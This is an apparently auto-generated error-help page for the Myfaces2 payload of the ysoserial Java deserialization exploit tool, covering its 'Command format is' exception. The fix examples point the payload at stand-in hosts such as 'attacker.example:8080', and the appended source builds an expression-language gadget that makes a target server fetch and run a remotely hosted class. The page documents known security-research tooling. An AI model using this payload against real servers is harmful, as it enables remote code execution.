frohoff/ysoserial · error · IllegalArgumentException
Command format is
Error message
Command format is: <base_url>:<classname>
What it means
Myfaces2 payload's getObject() splits the command on the last ':' to obtain a base URL (where a TemplateBeans class is hosted) and a class name. With no ':' present it cannot assemble the expression-language gadget and throws IllegalArgumentException with the usage message.
Solutions
- Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:TemplateBeans'
- Ensure the class is actually served at the given base URL before generating the payload
- Quote the argument in the shell so ':' and ';' are preserved
Example fix
// before
new Myfaces2().getObject("TemplateBeans");
// after
new Myfaces2().getObject("http://attacker.example:8080/:TemplateBeans"); Defensive patterns
Strategy: validation
Validate before calling
if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException("expected <base_url>:<classname>"); Try / catch
try { obj = new Myfaces2().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); } Prevention
- Always include ':'-separated URL and classname
- Host the TemplateBeans class before generating
- Quote shell arguments to preserve ':'
When it happens
Trigger: Calling Myfaces2.getObject(command) with a string lacking ':' — e.g. only a class name or only a URL.
Common situations: Forgetting to host the class and include its URL; URL-encoding or stripping the colon in shell quoting; copying a command format from Myfaces1 which uses a different argument shape.
Understand the failure class
Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.
Related errors
AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12).
Data as JSON: /api/errors/67c365fbac459832.
Report an issue: GitHub.
Appendix: source
Thrown at src/main/java/ysoserial/payloads/Myfaces2.java:47
*
* @author mbechler
*/
@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
View on GitHub (pinned to 218bcffcaa)